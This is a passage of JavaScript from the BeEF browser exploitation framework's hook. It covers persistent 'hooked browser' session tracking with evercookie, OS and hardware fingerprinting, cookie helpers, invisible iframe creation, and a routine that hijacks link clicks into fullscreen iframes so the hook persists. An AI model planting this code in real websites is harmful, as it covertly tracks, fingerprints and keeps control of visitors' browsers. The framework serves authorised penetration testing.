  5992.  
  5993.     /**
  5994.      *  A function that gets the max number of simultaneous connections the
  5995.      *  browser can make per origin, or globally on all origin.
  5996.      *
  5997.      *  This code is based on research from browserspy.dk
  5998.      *
  5999.      * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  6000.      * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
  6001.      *    the number of connections to the callback function as "this"
  6002.      *
  6003.      *    example usage:
  6004.      *        $j.when(getMaxConnections()).done(function(){
  6005.      *            console.debug("Max Connections: " + this);
  6006.      *            });
  6007.      *
  6008.      */
  6009.     getMaxConnections: function (scope) {
  6010.  
  6011.         var imagesCount = 30;       // Max number of images to test
  6012.         var secondsTimeout = 5;     // Image load timeout threashold
  6013.         var testUrl = "";       // The image testing service URL
  6014.  
  6015.         // User broserspy.dk max connections service URL.
  6016.         if (scope == 'PER_DOMAIN')
  6017.             testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
  6018.         else
  6019.         // The token will be replaced by a different number with each request (different origin).
  6020.             testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
  6021.  
  6022.         var imagesLoaded = 0;           // Number of responding images before timeout.
  6023.         var imagesRequested = 0;        // Number of requested images.
  6024.         var testImages = new Array();       // Array of all images.
  6025.         var deferredObject = $j.Deferred(); // A jquery Deferred object.
  6026.  
  6027.         for (var i = 1; i <= imagesCount; i++) {
  6028.             // Asynchronously request image.
  6029.             testImages[i] =
  6030.                 $j.ajax({
  6031.                     type: "get",
  6032.                     dataType: true,
  6033.                     url: (testUrl.replace("<token>", i)) + Math.random(),
  6034.                     data: "",
  6035.                     timeout: (secondsTimeout * 1000),
  6036.  
  6037.                     // Function on completion of request.
  6038.                     complete: function (jqXHR, textStatus) {
  6039.  
  6040.                         imagesRequested++;
  6041.  
  6042.                         // If the image returns a 200 or a 302, the text Status is "error", else null
  6043.                         if (textStatus == "error") {
  6044.                             imagesLoaded++;
  6045.                         }
  6046.  
  6047.                         // If all images requested
  6048.                         if (imagesRequested >= imagesCount) {
  6049.                             // resolve the deferred object passing the number of loaded images.
  6050.                             deferredObject.resolveWith(imagesLoaded);
  6051.                         }
  6052.                     }
  6053.                 });
  6054.  
  6055.         }
  6056.  
  6057.         // Return a promise to resolve the deffered object when the images are loaded.
  6058.         return deferredObject.promise();
  6059.  
  6060.     }
  6061.  
  6062. };
  6063.  
  6064. beef.regCmp('beef.browser');
  6065.  
  6066.  
  6067. //
  6068. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6069. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6070. // See the file 'doc/COPYING' for copying permission
  6071. //
  6072.  
  6073. /*!
  6074.  * @literal object: beef.browser.cookie
  6075.  *
  6076.  * Provides fuctions for working with cookies.
  6077.  * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  6078.  * Original author unknown.
  6079.  *
  6080.  */
  6081. beef.browser.cookie = {
  6082.    
  6083.         setCookie: function (name, value, expires, path, domain, secure)
  6084.         {
  6085.    
  6086.             var today = new Date();
  6087.             today.setTime( today.getTime() );
  6088.    
  6089.             if ( expires )
  6090.             {
  6091.                 expires = expires * 1000 * 60 * 60 * 24;
  6092.             }
  6093.             var expires_date = new Date( today.getTime() + (expires) );
  6094.    
  6095.             document.cookie = name + "=" +escape( value ) +
  6096.                 ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
  6097.                 ( ( path ) ? ";path=" + path : "" ) +
  6098.                 ( ( domain ) ? ";domain=" + domain : "" ) +
  6099.                 ( ( secure ) ? ";secure" : "" );
  6100.         },
  6101.  
  6102.         getCookie: function(name)
  6103.         {
  6104.             var a_all_cookies = document.cookie.split( ';' );
  6105.             var a_temp_cookie = '';
  6106.             var cookie_name = '';
  6107.             var cookie_value = '';
  6108.             var b_cookie_found = false;
  6109.            
  6110.             for ( i = 0; i < a_all_cookies.length; i++ )
  6111.             {
  6112.                 a_temp_cookie = a_all_cookies[i].split( '=' );
  6113.                 cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  6114.                 if ( cookie_name == name )
  6115.                 {
  6116.                     b_cookie_found = true;
  6117.                     if ( a_temp_cookie.length > 1 )
  6118.                     {
  6119.                         cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
  6120.                     }
  6121.                     return cookie_value;
  6122.                     break;
  6123.                 }
  6124.                 a_temp_cookie = null;
  6125.                 cookie_name = '';
  6126.             }
  6127.             if ( !b_cookie_found )
  6128.             {
  6129.                 return null;
  6130.             }
  6131.         },
  6132.  
  6133.         deleteCookie: function (name, path, domain)
  6134.         {
  6135.             if ( this.getCookie(name) ) document.cookie = name + "=" +
  6136.             ( ( path ) ? ";path=" + path : "") +
  6137.             ( ( domain ) ? ";domain=" + domain : "" ) +
  6138.             ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  6139.         },
  6140.  
  6141.         /* Never stop the madness dear C. */
  6142.         veganLol: function (){
  6143.             var to_hell= '';
  6144.             var min = 17;
  6145.             var max = 25;
  6146.             var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
  6147.  
  6148.             var grunt = function(){
  6149.                 var moo = Math.floor(Math.random() * 62);
  6150.                 var char = '';
  6151.                 if(moo < 36){
  6152.                     char = String.fromCharCode(moo + 55);
  6153.                 }else{
  6154.                     char = String.fromCharCode(moo + 61);
  6155.                 }
  6156.                 if(char != ';' && char != '='){
  6157.                     return char;
  6158.                 }else{
  6159.                     return 'x';
  6160.                 }
  6161.             };
  6162.  
  6163.             while(to_hell.length < lol_length){
  6164.                 to_hell += grunt();
  6165.             }
  6166.             return to_hell;
  6167.         },
  6168.        
  6169.         hasSessionCookies: function (name){
  6170.             this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
  6171.  
  6172.             cookiesEnabled = (this.getCookie(name) == null)? false:true;
  6173.             this.deleteCookie(name, '/', '');
  6174.             return cookiesEnabled;
  6175.            
  6176.         },
  6177.  
  6178.         hasPersistentCookies: function (name){
  6179.             this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
  6180.  
  6181.             cookiesEnabled = (this.getCookie(name) == null)? false:true;
  6182.             this.deleteCookie(name, '/', '');
  6183.             return cookiesEnabled;
  6184.            
  6185.         }  
  6186.                    
  6187. };
  6188.  
  6189. beef.regCmp('beef.browser.cookie');
  6190.  
  6191. //
  6192. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6193. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6194. // See the file 'doc/COPYING' for copying permission
  6195. //
  6196.  
  6197. /*!
  6198.  * @literal object: beef.browser.popup
  6199.  *
  6200.  * Provides fuctions for working with cookies.
  6201.  * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  6202.  * Original author unknown.
  6203.  *
  6204.  */
  6205. beef.browser.popup = {
  6206.    
  6207.         blocker_enabled: function ()
  6208.         {
  6209.             screenParams = beef.browser.getScreenSize();
  6210.             var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
  6211.             if (popUp == null || typeof(popUp)=='undefined') {  
  6212.                 return true;
  6213.             } else {  
  6214.                 popUp.close();
  6215.                 return false;
  6216.             }
  6217.         }
  6218. };
  6219.  
  6220. beef.regCmp('beef.browser.popup');
  6221.  
  6222.  
  6223. //
  6224. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6225. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6226. // See the file 'doc/COPYING' for copying permission
  6227. //
  6228.  
  6229. /*!
  6230.  * @literal object: beef.session
  6231.  *
  6232.  * Provides basic session functions.
  6233.  */
  6234. beef.session = {
  6235.    
  6236.     hook_session_id_length: 80,
  6237.     hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",   
  6238.     ec: new evercookie(),
  6239.     beefhook: "BEEFHOOK",
  6240.    
  6241.     /**
  6242.      * Gets a string which will be used to identify the hooked browser session
  6243.      *
  6244.      * @example: var hook_session_id = beef.session.get_hook_session_id();
  6245.      */
  6246.     get_hook_session_id: function() {
  6247.         // check if the browser is already known to the framework
  6248.         var id = this.ec.evercookie_cookie(beef.session.beefhook);
  6249.         if (typeof id == 'undefined') {
  6250.             var id = this.ec.evercookie_userdata(beef.session.beefhook);
  6251.         }
  6252.         if (typeof id == 'undefined') {
  6253.             var id = this.ec.evercookie_window(beef.session.beefhook);
  6254.         }
  6255.        
  6256.         // if the browser is not known create a hook session id and set it
  6257.         if ((typeof id == 'undefined') || (id == null)) {
  6258.             id = this.gen_hook_session_id();
  6259.             this.set_hook_session_id(id);
  6260.         }
  6261.        
  6262.         // return the hooked browser session identifier
  6263.         return id;
  6264.     },
  6265.    
  6266.     /**
  6267.      * Sets a string which will be used to identify the hooked browser session
  6268.      *
  6269.      * @example: beef.session.set_hook_session_id('RANDOMSTRING');
  6270.      */
  6271.     set_hook_session_id: function(id) {
  6272.         // persist the hook session id
  6273.         this.ec.evercookie_cookie(beef.session.beefhook, id);
  6274.         this.ec.evercookie_userdata(beef.session.beefhook, id);
  6275.         this.ec.evercookie_window(beef.session.beefhook, id);
  6276.     },
  6277.    
  6278.     /**
  6279.      * Generates a random string using the chars in hook_session_id_chars.
  6280.      *
  6281.      * @example: beef.session.gen_hook_session_id();
  6282.      */
  6283.     gen_hook_session_id: function() {
  6284.         // init the return value
  6285.         var hook_session_id = "";
  6286.        
  6287.         // construct the random string
  6288.         for(var i=0; i<this.hook_session_id_length; i++) {
  6289.           var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
  6290.           hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  6291.         }
  6292.        
  6293.         return hook_session_id;
  6294.     }
  6295. };
  6296.  
  6297. beef.regCmp('beef.session');
  6298.  
  6299.  
  6300. //
  6301. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6302. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6303. // See the file 'doc/COPYING' for copying permission
  6304. //
  6305.  
  6306. beef.os = {
  6307.  
  6308.     ua: navigator.userAgent,
  6309.  
  6310.     /**
  6311.       * Detect default browser (IE only)
  6312.       * Written by unsticky
  6313.       * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
  6314.       */
  6315.     getDefaultBrowser: function() {
  6316.         var result = "Unknown"
  6317.         try {
  6318.             var mt = document.mimeType;
  6319.             if (mt) {
  6320.                 if (mt == "Safari Document")       result = "Safari";
  6321.                 if (mt == "Firefox HTML Document") result = "Firefox";
  6322.                 if (mt == "Chrome HTML Document")  result = "Chrome";
  6323.                 if (mt == "HTML Document")         result = "Internet Explorer";
  6324.                 if (mt == "Opera Web Document")    result = "Opera";
  6325.             }
  6326.         } catch (e) {
  6327.             beef.debug("[os] getDefaultBrowser: "+e.message);
  6328.         }
  6329.         return result;
  6330.     },
  6331.  
  6332.     // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
  6333.     isWin311: function() {
  6334.         return (this.ua.match('(Win16)')) ? true : false;
  6335.     },
  6336.    
  6337.     isWinNT4: function() {
  6338.         return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  6339.     },
  6340.    
  6341.     isWin95: function() {
  6342.         return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
  6343.     },
  6344.     isWinCE: function() {
  6345.         return (this.ua.match('(Windows CE)')) ? true : false;
  6346.     },
  6347.    
  6348.     isWin98: function() {
  6349.         return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  6350.     },
  6351.    
  6352.     isWinME: function() {
  6353.         return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
  6354.     },
  6355.    
  6356.     isWin2000: function() {
  6357.         return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
  6358.     },
  6359.  
  6360.     isWin2000SP1: function() {
  6361.         return (this.ua.match('Windows NT 5.01 ')) ? true : false;
  6362.     },
  6363.    
  6364.     isWinXP: function() {
  6365.         return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
  6366.     },
  6367.    
  6368.     isWinServer2003: function() {
  6369.         return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  6370.     },
  6371.    
  6372.     isWinVista: function() {
  6373.         return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  6374.     },
  6375.    
  6376.     isWin7: function() {
  6377.         return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
  6378.     },
  6379.  
  6380.     isWin8: function() {
  6381.         return (this.ua.match('(Windows NT 6.2)')) ? true : false;
  6382.     }, 
  6383.    
  6384.     isWin81: function() {
  6385.         return (this.ua.match('(Windows NT 6.3)')) ? true : false;
  6386.     },
  6387.    
  6388.     isWin10: function() {
  6389.         return (this.ua.match('Windows NT 10.0')) ? true : false;
  6390.     },
  6391.    
  6392.     isOpenBSD: function() {
  6393.         return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  6394.     },
  6395.    
  6396.     isSunOS: function() {
  6397.         return (this.ua.indexOf('SunOS') != -1) ? true : false;
  6398.     },
  6399.    
  6400.     isLinux: function() {
  6401.         return (this.ua.match('(Linux)|(X11)')) ? true : false;
  6402.     },
  6403.    
  6404.     isMacintosh: function() {
  6405.         return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
  6406.     },
  6407.  
  6408.     isOsxYosemite: function(){ // TODO
  6409.         return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
  6410.     },
  6411.     isOsxMavericks: function(){ // TODO
  6412.         return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
  6413.     },
  6414.     isOsxSnowLeopard: function(){ // TODO
  6415.         return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
  6416.     },
  6417.     isOsxLeopard: function(){ // TODO
  6418.         return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
  6419.     },
  6420.  
  6421.     isWinPhone: function() {
  6422.         return (this.ua.match('(Windows Phone)')) ? true : false;
  6423.     },
  6424.  
  6425.     isIphone: function() {
  6426.         return (this.ua.indexOf('iPhone') != -1) ? true : false;
  6427.     },
  6428.  
  6429.     isIpad: function() {
  6430.         return (this.ua.indexOf('iPad') != -1) ? true : false;
  6431.     },
  6432.  
  6433.     isIpod: function() {
  6434.         return (this.ua.indexOf('iPod') != -1) ? true : false;
  6435.     },
  6436.  
  6437.     isNokia: function() {
  6438.         return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  6439.     },
  6440.  
  6441.     isAndroid: function() {
  6442.         return (this.ua.match('Android')) ? true : false;
  6443.     },
  6444.  
  6445.     isBlackBerry: function() {
  6446.         return (this.ua.match('BlackBerry')) ? true : false;
  6447.     },
  6448.  
  6449.     isWebOS: function() {
  6450.         return (this.ua.match('webOS')) ? true : false;
  6451.     },
  6452.  
  6453.     isQNX: function() {
  6454.         return (this.ua.match('QNX')) ? true : false;
  6455.     },
  6456.    
  6457.     isBeOS: function() {
  6458.         return (this.ua.match('BeOS')) ? true : false;
  6459.     },
  6460.  
  6461.         isAros: function() {
  6462.                 return (this.ua.match('AROS')) ? true : false;
  6463.         },
  6464.  
  6465.     isWindows: function() {
  6466.         return (this.ua.match('Windows')) ? true : false;
  6467.     },
  6468.    
  6469.     getName: function() {
  6470.        
  6471.         if(this.isWindows()){
  6472.             return 'Windows';
  6473.         }
  6474.  
  6475.         if(this.isMacintosh()) {
  6476.             return 'OSX';
  6477.         }
  6478.  
  6479.         //Nokia
  6480.         if(this.isNokia()) {
  6481.             if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
  6482.             if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
  6483.             if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
  6484.         }
  6485.  
  6486.         // BlackBerry
  6487.         if(this.isBlackBerry()) return 'BlackBerry OS';
  6488.  
  6489.         // Android
  6490.         if(this.isAndroid()) return 'Android';
  6491.  
  6492.         // SunOS
  6493.         if(this.isSunOS()) return 'SunOS';
  6494.  
  6495.         //Linux
  6496.         if(this.isLinux()) return 'Linux';
  6497.  
  6498.         //iPhone
  6499.         if (this.isIphone()) return 'iOS';
  6500.         //iPad
  6501.         if (this.isIpad()) return 'iOS';
  6502.         //iPod
  6503.         if (this.isIpod()) return 'iOS';
  6504.        
  6505.         //others
  6506.         if(this.isQNX()) return 'QNX';
  6507.         if(this.isBeOS()) return 'BeOS';
  6508.         if(this.isWebOS()) return 'webOS';
  6509.         if(this.isAros()) return 'AROS';
  6510.        
  6511.         return 'unknown';
  6512.     },
  6513.  
  6514.     getVersion: function(){
  6515.         //Windows
  6516.         if(this.isWindows()) {
  6517.             if (this.isWin10())         return '10';
  6518.             if (this.isWin81())         return '8.1';
  6519.             if (this.isWin8())          return '8';
  6520.             if (this.isWin7())          return '7';
  6521.             if (this.isWinVista())      return 'Vista';
  6522.             if (this.isWinXP())         return 'XP';
  6523.             if (this.isWinServer2003()) return 'Server 2003';
  6524.             if (this.isWin2000SP1())    return '2000 SP1';
  6525.             if (this.isWin2000())       return '2000';
  6526.             if (this.isWinME())         return 'Millenium';
  6527.  
  6528.             if (this.isWinNT4())        return 'NT 4';
  6529.             if (this.isWinCE())         return 'CE';
  6530.             if (this.isWin95())         return '95';
  6531.             if (this.isWin98())         return '98';
  6532.         }
  6533.  
  6534.         // OS X
  6535.         if(this.isMacintosh()) {
  6536.             if (this.isOsxYosemite())        return '10.10';
  6537.             if (this.isOsxMavericks())       return '10.9';
  6538.             if (this.isOsxSnowLeopard())     return '10.8';
  6539.             if (this.isOsxLeopard())         return '10.7';
  6540.         }
  6541.  
  6542.         // TODO add Android/iOS version detection
  6543.     }
  6544. };
  6545.  
  6546. beef.regCmp('beef.net.os');
  6547.  
  6548.  
  6549. //
  6550. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6551. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6552. // See the file 'doc/COPYING' for copying permission
  6553. //
  6554.  
  6555. beef.hardware = {
  6556.  
  6557.   ua: navigator.userAgent,
  6558.  
  6559.   /*
  6560.    * @return: {String} CPU type
  6561.    **/
  6562.   cpuType: function() {
  6563.     var arch = 'UNKNOWN';
  6564.     // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
  6565.     // in detecting the OS arch rather than the browser build
  6566.     if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
  6567.       arch = 'x86_64';
  6568.     }else if(typeof navigator.cpuClass != 'undefined'){
  6569.       switch (navigator.cpuClass) {
  6570.         case '68K':
  6571.           arch = 'Motorola 68K';
  6572.           break;
  6573.         case 'PPC':
  6574.           arch = 'Motorola PPC';
  6575.           break;
  6576.         case 'Digital':
  6577.           arch = 'Alpha';
  6578.           break;
  6579.         default:
  6580.           arch = 'x86';
  6581.       }
  6582.     }
  6583.     // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
  6584.     // For example, if OSX is at least 10.7, most certainly is 64 bit.
  6585.     return arch;
  6586.   },
  6587.  
  6588.   /*
  6589.    * @return: {Boolean} true or false.
  6590.    **/
  6591.   isTouchEnabled: function() {
  6592.     if ('ontouchstart' in document) return true;
  6593.     return false;
  6594.   },
  6595.  
  6596.   /*
  6597.    * @return: {Boolean} true or false.
  6598.    **/
  6599.   isVirtualMachine: function() {
  6600.     if (screen.width % 2 || screen.height % 2) return true;
  6601.     return false;
  6602.   },
  6603.  
  6604.   /*
  6605.    * @return: {Boolean} true or false.
  6606.    **/
  6607.   isLaptop: function() {
  6608.     // Most common laptop screen resolution
  6609.     if (screen.width == 1366 && screen.height == 768) return true;
  6610.     // Netbooks
  6611.     if (screen.width == 1024 && screen.height == 600) return true;
  6612.     return false;
  6613.   },
  6614.  
  6615.   /*
  6616.    * @return: {Boolean} true or false.
  6617.    **/
  6618.   isNokia: function() {
  6619.     return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  6620.   },
  6621.  
  6622.   /*
  6623.    * @return: {Boolean} true or false.
  6624.    **/
  6625.   isZune: function() {
  6626.     return (this.ua.match('ZuneWP7')) ? true : false;
  6627.   },
  6628.  
  6629.   /*
  6630.    * @return: {Boolean} true or false.
  6631.    **/
  6632.   isHtc: function() {
  6633.     return (this.ua.match('HTC')) ? true : false;
  6634.   },
  6635.  
  6636.   /*
  6637.    * @return: {Boolean} true or false.
  6638.    **/
  6639.   isEricsson: function() {
  6640.     return (this.ua.match('Ericsson')) ? true : false;
  6641.   },
  6642.  
  6643.   /*
  6644.    * @return: {Boolean} true or false.
  6645.    **/
  6646.   isMotorola: function() {
  6647.     return (this.ua.match('Motorola')) ? true : false;
  6648.   },
  6649.  
  6650.   /*
  6651.    * @return: {Boolean} true or false.
  6652.    **/
  6653.   isGoogle: function() {
  6654.     return (this.ua.match('Nexus One')) ? true : false;
  6655.   },
  6656.  
  6657.   /**
  6658.    * Returns true if the browser is on a Mobile Phone
  6659.    * @return: {Boolean} true or false
  6660.    *
  6661.    * @example: if(beef.hardware.isMobilePhone()) { ... }
  6662.    **/
  6663.   isMobilePhone: function() {
  6664.     return DetectMobileQuick();
  6665.   },
  6666.  
  6667.   getName: function() {
  6668.     var ua = navigator.userAgent.toLowerCase();
  6669.     if(DetectIphone())              { return "iPhone"};
  6670.     if(DetectIpod())                { return "iPod Touch"};
  6671.     if(DetectIpad())                { return "iPad"};
  6672.     if (this.isHtc())               { return 'HTC'};
  6673.     if (this.isMotorola())          { return 'Motorola'};
  6674.     if (this.isZune())              { return 'Zune'};
  6675.     if (this.isGoogle())            { return 'Google Nexus One'};
  6676.     if (this.isEricsson())          { return 'Ericsson'};
  6677.     if(DetectAndroidPhone())        { return "Android Phone"};
  6678.     if(DetectAndroidTablet())       { return "Android Tablet"};
  6679.     if(DetectS60OssBrowser())       { return "Nokia S60 Open Source"};
  6680.     if(ua.search(deviceS60) > -1)   { return "Nokia S60"};
  6681.     if(ua.search(deviceS70) > -1)   { return "Nokia S70"};
  6682.     if(ua.search(deviceS80) > -1)   { return "Nokia S80"};
  6683.     if(ua.search(deviceS90) > -1)   { return "Nokia S90"};
  6684.     if(ua.search(deviceSymbian) > -1)   { return "Nokia Symbian"};
  6685.     if (this.isNokia())             { return 'Nokia'};
  6686.     if(DetectWindowsPhone7())       { return "Windows Phone 7"};
  6687.     if(DetectWindowsMobile())       { return "Windows Mobile"};
  6688.     if(DetectBlackBerryTablet())    { return "BlackBerry Tablet"};
  6689.     if(DetectBlackBerryWebKit())    { return "BlackBerry OS 6"};
  6690.     if(DetectBlackBerryTouch())     { return "BlackBerry Touch"};
  6691.     if(DetectBlackBerryHigh())      { return "BlackBerry OS 5"};
  6692.     if(DetectBlackBerry())          { return "BlackBerry"};
  6693.     if(DetectPalmOS())              { return "Palm OS"};
  6694.     if(DetectPalmWebOS())           { return "Palm Web OS"};
  6695.     if(DetectGarminNuvifone())      { return "Gamin Nuvifone"};
  6696.     if(DetectArchos())              { return "Archos"}
  6697.     if(DetectBrewDevice())          { return "Brew"};
  6698.     if(DetectDangerHiptop())        { return "Danger Hiptop"};
  6699.     if(DetectMaemoTablet())         { return "Maemo Tablet"};
  6700.     if(DetectSonyMylo())            { return "Sony Mylo"};
  6701.     if(DetectAmazonSilk())          { return "Kindle Fire"};
  6702.     if(DetectKindle())              { return "Kindle"};
  6703.     if(DetectSonyPlaystation())                 { return "Playstation"};
  6704.     if(ua.search(deviceNintendoDs) > -1)        { return "Nintendo DS"};
  6705.     if(ua.search(deviceWii) > -1)               { return "Nintendo Wii"};
  6706.     if(ua.search(deviceNintendo) > -1)          { return "Nintendo"};
  6707.     if(DetectXbox())                            { return "Xbox"};
  6708.     if(this.isLaptop())                         { return "Laptop"};
  6709.     if(this.isVirtualMachine())                 { return "Virtual Machine"};
  6710.  
  6711.     return 'Unknown';
  6712.   }
  6713. };
  6714.  
  6715. beef.regCmp('beef.hardware');
  6716.  
  6717.  
  6718. //
  6719. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  6720. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6721. // See the file 'doc/COPYING' for copying permission
  6722. //
  6723.  
  6724. /*!
  6725.  * @literal object: beef.dom
  6726.  *
  6727.  * Provides functionality to manipulate the DOM.
  6728.  */
  6729. beef.dom = {
  6730.    
  6731.     /**
  6732.      * Generates a random ID for HTML elements
  6733.      * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
  6734.      * @return: generated id
  6735.      */
  6736.     generateID: function(prefix) {
  6737.         return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
  6738.     }, 
  6739.        
  6740.     /**
  6741.      * Creates a new element but does not append it to the DOM.
  6742.      * @param: {String} the name of the element.
  6743.      * @param: {Literal Object} the attributes of that element.
  6744.      * @return: the created element.
  6745.      */
  6746.     createElement: function(type, attributes) {
  6747.         var el = document.createElement(type);
  6748.        
  6749.         for(index in attributes) {
  6750.             if(typeof attributes[index] == 'string') {
  6751.                 el.setAttribute(index, attributes[index]);
  6752.             }
  6753.         }
  6754.        
  6755.         return el;
  6756.     },
  6757.    
  6758.     /**
  6759.      * Removes element from the DOM.
  6760.      * @param: {String or DOM Object} the target element to be removed.
  6761.      */
  6762.     removeElement: function(el) {
  6763.         if (!beef.dom.isDOMElement(el))
  6764.         {
  6765.             el = document.getElementById(el);
  6766.         }
  6767.         try {
  6768.             el.parentNode.removeChild(el);
  6769.         } catch (e) { }
  6770.     },
  6771.    
  6772.     /**
  6773.      * Tests if the object is a DOM element.
  6774.      * @param: {Object} the DOM element.
  6775.      * @return: true if the object is a DOM element.
  6776.      */
  6777.     isDOMElement: function(obj) {
  6778.         return (obj.nodeType) ? true : false;
  6779.     },
  6780.    
  6781.     /**
  6782.      * Creates an invisible iframe on the hook browser's page.
  6783.      * @return: the iframe.
  6784.      */
  6785.     createInvisibleIframe: function() {
  6786.         var iframe = this.createElement('iframe', {
  6787.                 width: '1px',
  6788.                 height: '1px',
  6789.                 style: 'visibility:hidden;'
  6790.             });
  6791.        
  6792.         document.body.appendChild(iframe);
  6793.        
  6794.         return iframe;
  6795.     },
  6796.  
  6797.     /**
  6798.      * Returns the highest current z-index
  6799.      * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
  6800.      * @return: {Integer} Highest z-index in the DOM
  6801.      * OR
  6802.      * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
  6803.      */
  6804.     getHighestZindex: function(include_id) {
  6805.         var highest = {'height':0, 'elem':''};
  6806.         $j('*').each(function() {
  6807.             var current_high = parseInt($j(this).css("zIndex"),10);
  6808.             if (current_high > highest.height) {
  6809.                 highest.height = current_high;
  6810.                 highest.elem = $j(this).attr('id');
  6811.             }
  6812.         });
  6813.  
  6814.         if (include_id) {
  6815.             return highest;
  6816.         } else {
  6817.             return highest.height;
  6818.         }
  6819.     },
  6820.    
  6821.     /**
  6822.      * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
  6823.      * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
  6824.      * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  6825.      * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
  6826.      * @param: {Hash} params: list of params that will be sent in request.
  6827.      * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
  6828.      * @param: {Function} a callback function to fire once the iFrame has loaded
  6829.      * @return: {Object} the inserted iFrame
  6830.      *
  6831.      */
  6832.     createIframe: function(type, params, styles, onload) {
  6833.         var css = {};
  6834.  
  6835.         if (type == 'hidden') {
  6836.             css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
  6837.         } else if (type == 'fullscreen') {
  6838.             css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
  6839.             $j('body').css({'padding':'0px', 'margin':'0px'});
  6840.         } else {
  6841.             css = styles;
  6842.             $j('body').css({'padding':'0px', 'margin':'0px'});
  6843.         }
  6844.         var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
  6845.        
  6846.         return iframe;
  6847.     },
  6848.  
  6849.     /**
  6850.      * Load the link (href value) in an overlay foreground iFrame.
  6851.      * The BeEF hook continues to run in background.
  6852.      * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
  6853.      * Framebusting techniques, this will not work.
  6854.      */
  6855.     persistentIframe: function(){
  6856.         $j('a').click(function(e) {
  6857.             if ($j(this).attr('href') != '')
  6858.             {
  6859.                 e.preventDefault();
  6860.                 beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  6861.                 $j(document).attr('title', $j(this).html());
  6862.                 document.body.scroll = "no";
  6863.                 document.documentElement.style.overflow = 'hidden';
  6864.             }
  6865.         });
  6866.     },
  6867.  
  6868.     /**
  6869.      * Load a full screen div that is black, or, transparent
  6870.      * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
  6871.      * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
  6872.      *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
  6873.      *           // By default this is 70
  6874.      *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
  6875.      *           // By default this will use beef.dom.getHighestZindex to always go to the top
  6876.      *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
